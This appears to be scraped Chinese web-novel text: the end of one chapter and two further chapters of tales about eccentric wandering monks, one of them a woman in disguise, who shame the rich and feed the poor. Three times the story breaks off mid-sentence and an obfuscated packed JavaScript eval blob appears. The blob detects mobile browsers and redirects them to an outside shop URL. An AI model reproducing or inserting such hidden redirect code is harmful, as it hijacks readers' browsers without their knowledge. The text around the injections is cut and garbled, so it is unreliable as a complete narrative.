他大笑,晃着破扇,踏雪而去。那百衲衣在风中飘荡,像个移动的破布袋。 顾清源握紧手中木弥勒,窟窿眼里,映着灰蒙蒙的天。 四、 布袋空空 当夜三更,周府。 周半城备了桌素斋,等和尚。等到四更,人影不见。正要怒,忽听窗外有人哼曲: “世人都晓神仙好,唯有功名忘不了! 古今将相在何方?荒冢一堆草没了…” 推窗,见布袋坐在院中老槐枝上,晃着腿,破扇摇雪。 “和尚,下来喝酒!” “酒肉穿肠过。”布袋一跃而下,落地无声,“周老爷,你请我来,是问前程,还是问良心?” 周半城强笑:“自然是…问佛法。” “佛法?”布袋坐定,自斟一杯,“佛法说,诸恶莫作,众善奉行。周老爷,你作的恶,罄竹难书;行的善,屈指可数。这佛法,你听不进去。” “你!”周半城拍案。 “莫急。”布袋饮尽酒,“我说几桩,你听对不对——三年前,你强买李寡妇的茶园,逼其投井;两年前,你私涨佃租,饿死佃户王老三一家五口;去年,你贿赂考官,将儿子周庸才塞进乡试榜…还要我说么?” 周半城脸色煞白,颤声:“你…你如何知晓?” “你每作一恶,夜里可睡得安稳?”布袋盯着他,“那李寡妇的哭声,王老三儿女的哀嚎,可曾入梦?你儿子中举那夜,你梦见什么?是喜,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088170|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …怕?” 周半城跌坐椅中,冷汗如雨。 “周老爷,你库里有金万两,可买不来一夜安眠;你妻妾成群,可暖不了你一颗冷心。”布袋起身,“佛说回头是岸,岸在何处?在你心里。你心里有岸,才能回头;心里只有金山银山,回头…也是撞山。” 他走到门口,回头一笑:“今夜之后,青州再无周半城。你好自为之。” 言罢,推门而去。周半城呆坐至天明,忽大笑,笑出泪来。当日,他散尽家财,一半还债,一半捐建义学、粥棚。自己一袭布衣,出了青州,不知所踪。 消息传出,全城震动。都说布袋和尚是“活佛降世”,能“点石成金,化恶为善”。 布袋却躲在城隍庙,三天不出。顾清源去寻他,见他正给乞儿们分粥,依旧是那副嬉笑模样。 “和尚,周半城…” “死了。”布袋打断,“周半城死了,活了个周善人。这是好事。” “可外头都说你有神通…” “我有屁神通。”布袋啐了一口,“我若有神通,先让这世道不苦,让穷人吃饱,让冤者得雪。可我做不到,只能耍耍嘴皮子,吓吓恶人——这算什么神通?这是…无奈。” 他低头搅粥,侧脸在火光中,竟有几分悲戚。 顾清源轻声道:“和尚,你…到底是何人?” 布袋抬头,眼中映着火:“我是谁不重要。重要的是,师爷,你是谁?是顾清源,还是…顾师爷?是心里有火的书生,还是…衙门口的石狮子?” 顾清源默然。是啊,他是谁?来青州三年,初时也想做番事业,可渐渐磨平了棱角,学会了“顾全大局”。直到这疯和尚来,撕开太平假象,他才看见自己心里,那点火还没灭。 “和尚,我…” “不必说。”布袋盛了碗粥给他,“喝了粥,有力气。往后,这青州…靠你了。” 顾清源接过,粥烫,烫得眼发热。 腊月三十,除夕。布袋要走,说“年关难过,去别处看看”。满城百姓来送,有送干粮的,有送棉衣的,他统统塞进那破布袋——布袋依旧瘪着,像个无底洞。 顾清源送他到城门。雪停,夕阳如血。 “和尚,往后去哪?” “天下之大,处处可去。”布袋拍拍空袋,“袋里有风,有月,有人间苦。够了。” 他转身,趿拉着草鞋,晃着破扇,哼着不成调的歌,渐渐消失在官道尽头。 顾清源立了许久,直到暮色四合。回身时,见城门上新贴了副对联,墨迹未干: “布袋空空,装尽人间不平事 破扇摇摇,扇开世上糊涂心” 无落款,但那字迹歪斜,像极了某人手笔。 顾清源笑了,笑着笑着,泪流满面。 这青州的年,终于有了点人味。 尾声弥勒在野 三年后,顾清源升任青州知府。他重修水渠,减免赋税,平反冤狱。青州渐有“小江南”之称。 有富商送金佛,他拒了,只在堂上供了个木雕弥勒,眼是窟窿的。百姓问为何,他说:“佛无眼,是让我们自己看。看清了,才知道路怎么走。” 又三年,他辞官归隐,在城南办义学,专收贫寒子弟。教材是他自编的《民生实鉴》,头一课便是: “道在屎溺,佛在人间。莫问神通,但看脚下。” 常有游方僧人来,说起各地见闻。有说某地出了个疯和尚,专骂贪官;有说某县有个布袋僧,散财济贫。顾清源听了,只笑,给那木弥勒擦擦灰。 木弥勒永远笑着,窟窿眼里,盛着光阴。 这年清明,顾清源带学生去郊外踏青。在河边,见一老僧正洗衣,背影佝偻。学生中有人指道:“先生,那和尚的布袋,好破!” 顾清源望去,那老僧腰间,确有个褪色的布袋,随风飘荡。 他走近,看清老僧面容——鸡皮鹤发,可那双眼,清亮如昔。 “和尚…”顾清源颤声。 老僧抬头,咧嘴一笑,缺了颗门牙:“施主,洗衣呢。要帮忙么?” 顾清源蹲下,帮他拧衣。水流过手,冰凉。 “这些年…可好?” “好。”老僧拧干最后一件,“东边日出西边雨,道是无晴却有晴。这世道,总有人醒着,就够了。” 他起身,将湿衣塞进布袋——布袋依旧瘪着。背上,晃着破扇,趿拉着草鞋,走了。 走几步,回头,对顾清源眨眨眼:“对了,那个木弥勒…眼该补上了。用琉璃珠,透亮,好看。” 言罢,哼着歌远去: “世人都晓神仙好,只有金银忘不了! 终朝只恨聚无多,及到多时眼闭了…” 歌声渐远,融进春风里。 学生问:“先生,这和尚是谁?” 顾清源望着那背影消失处,轻声道: “是弥勒。” “弥勒佛?” “不。”顾清源摇头,“是弥勒…在人间。” 河面波光粼粼,映着天光云影。那破布袋的影子,在水里晃啊晃,晃成一片涟漪,荡开,散了。 唯歌声隐隐,在风里,在春光里,在这人间烟火里。 年年岁岁,岁岁年年。 本章诫世 一、 布袋空空之喻 - 布袋常空,却装“人间不平事”,讽喻物质丰盈与精神空虚 - 破解法:凡见“满口仁义”者,察其行;凡遇“标榜清贫”者,观其心 - 示例:周半城金玉满堂而良心空洞,布袋身无长物而心怀苍生 二、 疯癫真言之悖 - 以狂悖言行承载真理,以嬉笑怒骂点化众生 - 惕世:当正常成为麻木,疯狂反成清醒;当虚伪成为礼仪,真话反成毒药 - 反思:正统与异端、庄严与嬉笑的价值重估 三、 弥勒在野之思 - 真佛不在殿堂,在民间疾苦中 - 深层隐喻:当宗教沦为权力装饰,真信仰流落市井 - 终极指向:渡人者先需自渡,救世者首在救心 布袋偈: 布袋空空行路长,破扇摇摇世态凉。 金玉满堂眠不稳,布衣一袭梦犹香。 莫道疯癫无真语,且看弥勒在街坊。 但得心头慈悲在,何须殿宇拜金装? 后世叹: 天启三年腊月寒,青州城下布袋单。 笑指朱门说罪孽,怒将白粥化贫餐。 空袋能装天下苦,破扇可扇世间奸。 莫问和尚何处去,春风陌上草芊芊。 正是: 青州腊月雪飞沙,布袋摇扇过酒家。 笑指豪门金作马,怒将冤案泪成茶。 空囊能载千般苦,破袖可收万里霞。 莫道人间无弥勒,且看春风绿蒹葭。 19. 游方无相谳 楔子无头佛子 贞元三年春,长安西郊乱葬岗的野槐树上,倒挂了个“人”。 说“人”不像人,着百衲破衣,露出的皮肉满是疮痂。倒挂着,却还在打鼾,鼾声均匀,惊得老鸹不敢近前。更奇的是,此人无发,顶上有九个戒疤,新旧交错,像胡乱烙的。 卯时,樵夫王二路过,见树上挂人,以为吊死鬼,喊来地保。地保带人解下来,一探鼻息,还在喘气。摇醒,那人睁眼,眸子清亮如孩童,开口第一句: “有粥么?饿了。” 一、 长安不受 这怪人自称“无相”,问来历,只笑:“从来处来。”问师承,摇头:“无师自通。”问欲往何处,指西:“有苦处去。” 地保见他痴傻,报官。长安府法曹参军李岩,是个较真的人,将无相带回衙门,细细盘问。 “你头上戒疤,何处受的?” “自己烙的。”无相咧嘴,“烫一下,记一道苦。记了九道,够了。” “胡闹!戒疤乃佛门大戒,岂可自烙?” “佛在心,不在头。”无相摸疤,“世人烧香拜佛,是求佛免苦。我烙疤记苦,是怕忘了苦——忘了苦,怎知众生苦?” 李岩蹙眉:“你既是佛门中人,为何不去寺庙挂单?” “去了,不让进。”无相从破袖中掏出几片烂菜叶,嚼着,“大慈恩寺说衣冠不整,荐福寺说无度牒,青龙寺说…说我太臭,熏了佛。” “那你…” “我在庙门口睡了三天。”无相笑,“饿了,有香客施半个馍;渴了,喝檐下雨。第三天,知客僧端盆水出来,说‘洗洗脚,莫污了佛地’。我洗了,他又说‘水要三文’。我没钱,便走了。” 李岩沉吟。他见过游方僧,多是落魄,但落魄至此还笑嘻嘻的,少见。 “你既无处可去,本官可荐你去城外小庙…” “不去。”无相摆手,“庙里有佛,佛前有人。人在求佛,佛在收钱。我不求佛,佛不要我,正好。” 他起身,拍拍尘土:“大人若无事,我走了。城南有窝棚,昨夜听说死了个老丐,我去看看,帮他合眼。” “你认得?” “不认得。但死人要人送,活人要人看,都一样。” 言罢,摇摇晃晃出衙。李岩鬼使神差,换了便服,跟上去。 二、 窝棚送死 城南窝棚区,是长安最脏处。污水横流,臭气熏天。无相轻车熟路,钻进个半塌的草棚。棚里草席上,躺着个老丐,已僵了,眼还睁着。 无相蹲下,合上老丐眼皮,轻声念:“尘归尘,土归土,苦到头,便是福。”又从怀里掏出半块硬饼,掰碎,撒在老丐身上:“路上吃,别饿着。” 旁有乞丐嗤笑:“疯子!死人能吃饼?” “活人给的,死人能收。”无相不恼,“就像庙里供果,佛吃不着,人吃了,也算功德。” 他起身,在棚外挖坑。土硬,手无工具,就用石块挖,指甲抠。李岩看不下去,递过短刀。无相接过,笑:“刀好。可惜只能挖土,不能挖苦。” “苦如何挖?” “苦在心里,得用心挖。”他边挖边说,“这人叫老倔,年轻时是石匠,修皇陵砸断了腿,工头不给治,赶出来。乞讨三十年,攒了三吊钱,想买副薄棺。前天钱被偷了,气死的。” “你怎知?” “昨夜我在这,他说的。”无相抹汗,“他说,不要棺了,曝尸荒野,让野狗吃,让官老爷看看,长安城还有这样死的人。” 坑挖好,无相将老倔拖入,掩土。无碑,插了根枯枝。他合十拜了拜,转身对围观的乞丐道:“谁还想死?我送。不要钱,只要句话——说说这辈子,最苦是什么,最甜是什么。” 乞丐们面面相觑。一瞎眼老妪颤巍巍道:“我…我说。最苦是眼瞎那年,儿媳妇把我赶出来,说‘老不死,浪费粮食’。最甜…是前天,有个小娘子给我半块糖糕,甜,真甜。” “好。”无相点头,“苦记住了,甜也记住了。下辈子,若还能做人,多给人甜,少给人苦。” 他又问几人,答的五花八门:有苦是饿三天,甜是捡个肉包子;有苦是儿子战死,甜是梦见他回家;有苦是病不起,甜是昨夜无相给了碗热汤。 问完,无相对李岩道:“大人听见了?这便是长安。庙里的经,是讲极乐;这里的经,是讲活着。哪个是真经?” 李岩不答。他看见无相的手,挖土挖得鲜血淋漓,却还在笑。 三、 市井说法 无相在窝棚区住下了。白日捡烂菜叶,夜里睡草堆。渐渐,有乞丐找他“说法”。 不是说法,是说苦。说完了,无相有时回几句,有时只听着。说的都是大白话: “你恨儿媳妇,是该恨。可恨久了,苦的是自己。不如当她是个讨债鬼,债还完了,就两清了。” “你想儿子,是该想。可人死了,就像水泼出去,收不回。记得他的好,就是他在你心里还活着。” “你病,是命,也得抗。抗不过,是命到头;抗过了,是命不该绝。别求神,神忙,顾不过来这么多苦命人。” 乞丐们听得懵懂,但觉舒坦。有病的,无相去野地拔些草根,捣烂敷上,竟也见好。问是什么药,他说:“心药。信则灵,不信则不灵。你信它能好,它就好些;你不信,它就是草。” 消息传开,有市井小民也来听。无相便在河边柳树下,摆个破蒲团,谁问都说。有问财运的,他说:“财是水,流来流去。你省一口,就有了;你贪一缸,就淹死了。” 有问姻缘的,他说:“姻缘是债,不是缘。欠债还债,还完了,就散了。若想不散,就多存点,别讨债。” 有问功名的,他大笑:“功名是梯子,有人上,有人下。爬得高,摔得狠;在低处,踏实。你看那树,高的招风,矮的安稳。” 话虽糙,理却透。来听的人越来越多,竟有书生记下来,取名《无相俗话》,暗中传抄。 这日,来了个绸缎商,姓周,捐了十两银,求问“家宅不宁,何以解”。 无相将银子还他:“买十石米,散给窝棚区,你的宅就宁了。” “这…这是何道理?” “你家财万贯,仆役成群,却夜夜惊醒,怕人偷,怕贼抢,怕买卖亏——这是心不宁。散些米,让人吃饱,你少些怕,他们多些暖,两下安宁。”无相道,“佛说布施,不是让你买心安,是让你见众生苦,知自己福,心自然安。” 周商人将信将疑,真买了米来散。散了三日,回来说:“奇了,这两夜,睡得踏实。” 无相笑:“不是米灵,是你心里那杆秤,平了。” 四、 佛道不容 无相的名声,终传到寺庙道观。 大慈恩寺首座觉明,亲自来“看看”。见柳树下围了数百人,无相坐破蒲团上,正说“佛是过来人,人是未来佛”,大怒: “妖言惑众!佛岂是你能妄议的?” 无相睁眼:“大师,佛说众生平等。既是平等,为何你能说,我不能说?” “你无度牒,非佛门中人!” “佛门在哪?”无相指心,“在这。有门,是心门;无门,是执迷。大师守着庙门,我守着心门,哪个是佛门?” 觉明语塞,拂袖而去。次日,荐福寺、青龙寺、玄都观,各遣人来“劝诫”,说无相“谤佛毁道,扰乱民心”。 无相不争,只问:“我扰了谁?是扰了香客捐钱,还是扰了大师清修?” 来人说不出。便有官府衙役来驱赶,说“聚众滋事”。无相收拾破蒲团,对众人道:“散了,太阳落山,该吃饭了。” 他不走,仍在河边。夜里,有乞丐偷偷送吃食,他分给更饿的。三日后,觉明又至,这次带了本《金刚经》: “你既说佛,可懂经?” “不懂。”无相坦然,“但懂人。经是人写的,说人的理。人若苦,理再高,也无用。” “狂妄!此乃佛陀亲说!” “佛陀也是人。”无相道,“他见人间苦,才说法。若今日他见长安,见窝棚,见饿殍,他会说什么?是说‘一切有为法,如梦幻泡影’,还是说‘先给碗粥’?” 觉明气极,命小僧将无相绑了,要“押回寺中管教”。李岩赶来,亮出腰牌:“此人未犯律法,不得擅拘。” “他谤佛!” “谤佛不犯法,谤官才犯法。”李岩冷脸,“大师请回。” 觉明恨恨而去。当夜,无相栖身的草棚被烧。他不在,去给病丐采药了。回来见灰烬,笑笑,在灰堆旁睡了。 李岩次日来,见他满脸烟灰,叹道:“何必如此?我可荐你去乡下…” “不去。”无相抹脸,“火是试金石,烧了草,烧不了心。他们容不下我,是因我说了真话——佛不要金,人要粥;道不要香,人要命。这话刺耳,刺得庙里的金身,都坐不住了。” 他望向城中,寺庙金顶在晨曦中闪光:“大人,你看那光,多亮。可照不到窝棚,照不到死人,照不到…人心里的暗处。” 李岩沉默。他忽然觉得,眼前这脏污的怪人,比满城高僧,更像尊佛。 五、 弥勒一笑 七月十五,中元节,鬼门开。长安有“放河灯”习俗,百姓扎灯放入渭水,祭亡魂。 这夜,渭河边人山人海。无相也来了,不扎灯,坐岸边看灯。灯如繁星,顺水流,映得水面一片暖黄。 忽有小儿落水,母亲惊呼。无相纵身跳下,将小儿托起,自己却被暗流卷走。众人惊呼,会水的下去救,捞起时,他已昏迷,手中还紧攥着小儿一只鞋。 抬到岸上,掐人中,泼水,良久,他咳出口污水,睁眼第一句:“孩儿…可好?” 小儿在母怀哭,他笑了。众人要抬他看郎中,他摆手:“不用,死不了。” 挣扎起身,浑身湿透,破衣贴在身上。有眼尖的惊呼:“他…他是女子!” 无相一僵。湿衣显出身形,虽瘦削,却有女子曲线。她低头,苦笑:“还是瞒不住。” 满场哗然。女子剃发,自烙戒疤,游方行乞…闻所未闻。 李岩拨开人群,凝视她:“你…究竟是?” “无相。”她合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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未褒未贬,但各寺方丈,都读出了冷汗。 贞元五年冬,渭河结冰。有孩童在冰上玩耍,捡到个油布包。打开,是卷手抄经,字迹歪斜,却力透纸背。首句: “佛不在西天,在饿者得食时; 道不在深山,在病者得医处。 经不必念,行便是经; 咒不必持,善便是咒。 若问我是谁, 我是无名人, 说些有用话, 做点实在事。” 末无署名,只画了个圆圈,似日似月,似心似空。 孩童交给李岩。李岩捧经,良久,悬于书房。 每逢有僧道来论法,他便指此经:“先读此经,再谈佛法。” 僧道读罢,多掩面而去。 从此,长安再无“无相”。 但渭水夜夜流,河灯年年放。 放灯时,总有老人对孩子说: “从前啊,有个无相师父,说佛是热的,道是暖的,人是苦的,心是善的…” 孩子问:“后来呢?” “后来啊,”老人望向西天,“她变成了一盏灯,在夜里,给迷路的人,照个亮。” 孩子似懂非懂,将手中灯,轻轻推入水中。 灯晃晃悠悠,流向远方。 流向每一个,需要光的,角落。 本章诫世 一、 无相行脚之镜 - 以无度牒、无寺庙、无姓名的“三无”行者,对照体制化宗教 - 破解法:凡标榜“正统”者,必察其实行;凡排斥“异端”者,必思其心虚 - 示例:自烙戒疤、窝棚说法、拒入寺庙 二、 女身说法之悖 - 女性需扮男装方能行脚说法,揭露宗教性别壁垒 - 惕世:当制度排斥女性,真知可能以伪装现世 - 反思:宗教平等口号下的性别现实 三、 俗话真经之照 - 《无相俗话》对照藏经阁典籍,显“有用”与“无用”之别 - 深层隐喻:真理在民间疾苦中,不在殿堂经卷里 - 终极质问:渡人的是经文,还是热汤? 行脚偈: 无相无名无度牒,有疮有疤有热血。 不求金殿一炷香,但施窝棚半碗粥。 佛道不容真行者,市井偏传有用诀。 莫问菩萨何处去,渭水灯流夜未歇。 后世叹: 贞元三年春尚寒,乱葬岗上倒挂禅。 自烙戒疤记世苦,遍行市井说人难。 河灯照出女儿相,渭水流尽众生叹。 莫道长安无真佛,真佛原不坐金坛。 正是: 长安城外柳絮飞,无相行脚破衲衣。 自烙戒疤九点痛,遍尝世味一味悲。 佛道难容真行者,市井偏传俗话稀。 莫问菩萨归何处,河灯夜夜照人归。 20. 烟雨真佛谳 楔子画中僧人 大丰三年春,苏州城来了个卖画的穷书生,在阊门外摆摊。画不奇,奇的是画中人——是个年轻僧人,娃娃脸,笑眼弯弯,赤脚站在雨中,身后烟雨朦胧,隐约见无数寺庙飞檐。 画上题诗: “千里莺啼绿映红,水村山郭酒旗风。 南朝四百八十寺,多少楼台烟雨中。” 题款小字:“画此见者,可唤我名。” 书生自称姓杜,说这画是昨夜梦中所见,晨起急就。有人问画中僧是谁,他摇头:“不知,但觉该画。” 画挂了三天,无人问津。第四日,来了个绸缎商,看画良久,忽然变色:“这…这画中僧,我见过!” “在何处?” “在…在寒山寺外,前日!他在雨中施粥!” 一、 寒山拒僧 寒山寺是姑苏名刹,香火鼎盛。前日春雨,寺外来了个赤脚僧人,二十许模样,面如孩童,笑嘻嘻支起口破锅,熬粥施舍。粥是菜叶混糙米,却香飘半条街。 饥民排队,僧人不问来处,见碗就舀。有老丐问:“小师父是哪座宝刹的?” “无刹。”僧人笑,“天是顶,地是床,哪都是刹。” “法号如何称呼?” “你叫我什么,我就是什么。”僧人舀粥,“叫和尚也行,叫花子也行,叫…喂,那个打伞的,别淋着。” 他招呼的是个躲雨的卖花女。卖花女怯生生过来,他递过碗粥:“喝口暖的。” 正施着,知客僧了尘出来,见寺门外聚满乞丐,大怒:“哪来的野僧,在此聚众滋事?” 娃娃脸僧合十:“师父,雨大,施碗粥,不滋事。” “要施回你庙里施!寒山寺门前,岂容你撒野?” “我无庙。”僧人指天,“这雨是佛洒的,这地是佛赐的,我借佛的地,施佛的粥,有何不可?” 了尘语塞,唤来武僧驱赶。娃娃脸僧不争,收拾破锅,对饥民道:“明日,枫桥下,还有粥。” 他赤足走入雨中,破衲贴在身上,背影单薄。卖花女追上去,塞给他把油伞:“师父…留着用。” 他回头一笑,接伞,却转手递给个跛脚老丐:“您腿脚不便,用这个。” 自己仍淋着雨,哼着小调走了。 杜书生听罢,喃喃道:“是他…真是他。” 他卷起画,直奔枫桥。 二、 枫桥粥棚 枫桥是运河码头,货船如梭。娃娃脸僧真在桥洞下支了锅,这次不只粥,还多了些草药,给生疮的乞丐敷用。 杜书生上前,展画:“师父,这画中人,是您么?” 僧人瞥了眼,笑:“像,也不像。画里人在雨中,我在雨外——你看,我有棚。”他指指头顶破席。 “您…究竟是何人?” “是个人。”僧人搅粥,“饿了吃饭,渴了喝水,冷了加衣,见苦难过,就帮一把。简单。” 杜书生收起画,帮他添柴。僧人问:“你是读书人?” “是。” “读书为何?” “为…为功名。” “功名为何?” “为…为光宗耀祖,为民请命。” 僧人笑了,舀勺粥递给他:“先填饱肚子,再谈请命。肚子空,命也轻。” 杜书生接粥,烫,吹着喝。粥糙,却有股清气。正喝着,码头喧哗——有货船撞了渔船,渔夫落水,船主是豪商,命船工不准救,说“晦气”。 僧人扔下勺,纵身跳河。春水寒,他几个起伏,将渔夫拖上岸。自己冻得唇紫,却还笑:“还好,活着。” 渔夫家人来谢,他要了碗热水,给了渔夫,自己拧衣。豪商在船头骂:“多管闲事!淹死你个秃驴!” 僧人仰头:“施主,人命关天,不是闲事。你今日不救,明日你落水,谁救?” “我有钱!雇人救!” “钱能雇人,雇不来良心。”僧人拧干衣,赤脚走回桥洞,“就像香能买佛,买不来慈悲。” 豪商啐了一口,开船走了。渔夫跪谢,僧人扶起:“不必谢,见死不救,夜里睡不着。你好好活着,就是谢我。” 他继续施粥,仿佛无事发生。杜书生却呆了——这僧人跳河救人,自然如呼吸,救人后不居功,淡然如风。 是傻,还是… “师父,”他轻声问,“您这般行事,不怕得罪人?” “不得罪人,就得罪心。”僧人头也不抬,“心说该做,就做了。想太多,就做不了了。” 午后,雨又下。粥棚前排起长队。有老妇递上枚铜钱,僧人不收:“粥不要钱,要钱就不施了。” “那…那师父靠什么活?” “天给饭,地给床,人给缘。”他指指运河,“你看这水,流到哪,是哪。我也一样,走到哪,是哪。不操心明天,今天饱了,就行。” 杜书生看着他侧脸,娃娃脸上沾了灰,却有种说不出的干净。 三、 四百八十寺 三日后,杜书生决定跟着这怪僧。僧人不拒,只说:“跟着行,别问,看就行。” 他们沿运河南下。每到一处,僧人必访寺——不是进香,是看。看寺门如何对香客,看功德箱摆在何处,看僧人如何念经、如何待穷人。 在镇江金山寺,知客僧见他们衣衫褴褛,拦在门外:“今日有法会,闲人莫入。” 僧人问:“佛说众生平等,为何闲人不能入?” “佛门清净地,岂容污秽?” “污秽在外,还是在内?”僧人指寺内,几个绸缎香客正捐金箔,“那几位身上熏香,可心里干净么?” 知客僧怒,唤武僧。僧人笑笑,转身对门外乞丐说:“走,咱们去江边,我给你们讲个故事——讲佛陀当年,如何在菩提树下,等一个乞丐来问法。” 他真在江滩坐下,讲“乞儿闻法得道”的故事。乞丐围坐,听得入神。有香客好奇,也来听。人越聚越多,寺里钟磬声,反被江风盖过。 在常州天宁寺,殿前摆着“祈福榜”,捐十两可上榜,捐百两可刻碑。僧人看了,摇头:“佛要榜做甚?要碑做甚?要的是人心向善,不是向钱。” 他找来木炭,在寺外墙根下,画了幅“施粥图”,题字:“真功德,在此处。” 有学童问:“小师父,你不拜佛么?” “拜啊。”僧人合十,朝江中一拜,“佛在江里,渡人;在粥里,暖人;在你心里,醒人。何必非进殿,跪泥胎?” 在无锡南禅寺,方丈亲自出迎——不是迎他,是迎他身后的杜书生。原来杜书生叔父是本地通判,方丈想托关系免田税。 僧人听了,对方丈一揖:“大师,您这禅,参到官场去了?” 方丈尬笑:“小师父不懂,寺大僧多,总要打点…” “打点佛,还是打点人?”僧人问,“若佛需打点,还是佛么?若人需打点,这禅,参的是空,还是色?” 方丈色变,送客。 出寺,杜书生叹:“江南四百八十寺,竟无一处容你。” 僧人笑:“容不容,是他们的事。进不进,是我的事。我进,是为看看,佛还在不在寺里。看了,佛还在——” 他指指心口:“在这儿。寺里,多是生意。” 是夜,宿破庙。僧人对月吟诗: “千里莺啼绿映红,水村山郭酒旗风。 南朝四百八十寺,多少楼台烟雨中。” 吟罢,对杜书生道:“这诗,你只读出了景,我读出了人——那些寺里,本该住着真修行的僧,烟雨中,本该传出真慈悲的经。可如今,楼台多了,烟雨浊了。可惜。” 杜书生问:“那真佛在何处?” 僧人指指自己,又指指他:“在你,在我,在肯施一碗粥、肯拉落水人一把的每一个人心里。寺是屋,佛是心。心若在,处处是寺;心若不在,金殿也是空壳。” 他躺下,以石为枕,眨眼睡了。 月光照在他娃娃脸上,纯净如婴。 四、 广陵露相 四月,至扬州。扬州富甲天下,寺庙亦极尽奢华。大明寺正在办“浴佛大典”,信众捐金箔为佛贴金,一片金箔一两银。 僧人蹲在寺外柳树下,看了一上午。午时,有个病妇携子来,想进寺求药,知客僧见其穷,不让进。妇跪求,僧人不理。 僧人起身,走过去,对知客僧道:“让她进,我替她捐金箔。” “你?”知客僧嗤笑,“你有钱么?” 僧人自怀中掏出一物——是块晶莹剔透的玉环,水色极好。知客僧眼直了:“这…这是羊脂玉!” “够么?” “够!够十片金箔!” 僧人递玉:“让她进,这玉,捐了。” 知客僧忙迎妇入。僧人却拦下:“等等,我有一问——佛要金身做甚?” “显庄严啊!” “佛若庄严,在心,不在身。”僧人将玉环收回,“这玉,我改主意了,不捐了。我要当了她,换钱,给这妇人治病。” 他真去了当铺,当玉得银五十两,全给了病妇。妇泣谢,他摆手:“快治病,好了,就是谢我。” 这一幕,被扬州知府之子陈文瑞看见。陈公子好佛,见状上前:“小师父,那玉是宝贝,为何当了?” “玉是死物,人是活物。救活物,比供死物强。” “可那是供佛的…” “佛要人活,不要玉供。”僧人笑,“若佛因我当了玉救人而嗔怒,那这佛,不拜也罢。” 陈公子大奇,邀他过府。僧人不去:“府门高,我脚矮,迈不进。若有心,明日此时,瘦西湖边,我煮茶,你带耳朵来。” 次日,瘦西湖。僧人真煮了茶,粗茶,用破壶。陈公子来,还带了几位文人。僧人盘坐柳下,不说法,说茶: “这茶苦,可苦后回甘。人生也苦,苦透了,才知甜是甜。拜佛求福,是想躲苦。可苦躲不掉,不如尝透,尝透了,苦就不是苦,是…味。” 一文人问:“小师父修的是禅?” “我修的是人。”僧人斟茶,“禅太高,人太低。我在低处,看人苦,就伸手;看人乐,就欢喜。简单。” “那佛法…” “佛法在茶里。”他举杯,“你喝,解渴,舒坦,就是佛法。若喝了还渴,还烦,那法就是假的。” 众人笑。陈公子忽道:“小师父,我总觉得你…不像男子。” 僧人端茶的手,微微一滞。 “你眉眼太清,声音太柔,行事…带着女子的细。”陈公子直视他,“你究竟是男是女?” 僧人放下杯,良久,笑了:“是男是女,有何分别?施粥时,我是和尚;救人时,我是汉子;此刻,我是煮茶人。你要个名相,我给不了。我只知,心是慈悲的,身是皮囊,男女何妨?” 她站起身,春风吹动破衲,显出身形曲线。 众人惊愕。她坦然解开发带——长发披落,虽短,却是女子发式。 “是,我是女子。”她声音轻柔,却清亮,“十三岁家破,被卖入青楼,逃出,自剃发,扮僧行脚。因女子行路难,女子说法,无人听。扮作男僧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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杜书生封笔,在枫桥旁结庐,每日煮茶待客。有问画中僧的,他只斟茶:“喝茶,茶里有她。” 客不解。他指窗外烟雨:“你看这雨,下到寺里,是香火钱;下到锅里,是救命粥。她选了下锅的雨。这选择,便是佛。” 又一年春,江南烟雨依旧。四百八十寺钟声,在雨中沉沉传来。 只是有些寺里,多了施粥棚。 有些僧衣下,多了颗跳在民间的心。 而枫桥下,总有个书生煮茶,对客说: “佛啊,不在西天,在雨里,在粥里,在你肯不肯伸出的手里。” 客饮茶,茶苦,回甘。 像极了,那年的那碗粥。 尾声雨终人未散 十年后,杜书生病故。临终,将《江南烟雨行脚图》付与陈公子:“此画…该在民间。” 陈公子将画刻版,印千份,散于江南各寺。有僧将画悬于禅房,晨昏对照。 又十年,运河大水,灾民遍野。各寺自发设棚施粥,僧侣赤脚抬石固堤。有老僧指着水中倒影:“看,像不像画中僧?” 众人看,波光粼粼,仿佛真有赤脚僧影,踏水而行。 从此,江南有谚: “真佛不坐殿,赤脚行雨天。 施粥一锅暖,胜烧万炷香。” 而每年春雨,总有人想起,那个娃娃脸、赤脚、笑眼弯弯的“僧”。 是男是女,不知。 是僧是俗,不知。 只知,她来过,笑过,施过粥,救过人,说过几句大白话: “佛是热的,道是暖的,人是苦的,心是善的。” 够了。 雨还在下,下了一千年。 寺立了又倒,倒了又立。 唯有烟雨中,那赤脚的身影,一直在走。 走向每一个,需要一碗粥的,清晨。 本章诫世 一、 赤脚行雨之镜 - 以无寺、无牒、无名之行脚僧,对照体制化寺院 - 破解法:凡标榜“正统”而拒“异端”者,必察其心虚处 - 示例:寺门拒入、雨中施粥、当玉救人 二、 女身佛行之悖 - 女性需扮男装方能行脚说法,揭露宗教性别虚伪 - 惕世:当“平等”成口号,“方便”成枷锁 - 反思:大雄宝殿容不下比丘尼,街头巷尾却现女菩萨 三、 烟雨楼台之讽 - “四百八十寺”在烟雨中模糊,唯赤脚僧清晰 - 深层隐喻:宗教建筑愈宏伟,真精神愈稀薄 - 终极质问:佛在琉璃瓦下,还是在施粥棚中? 行脚偈: 江南烟雨柳如丝,赤脚行来不觉迟。 寺门拒入因衣破,锅前愿施是心慈。 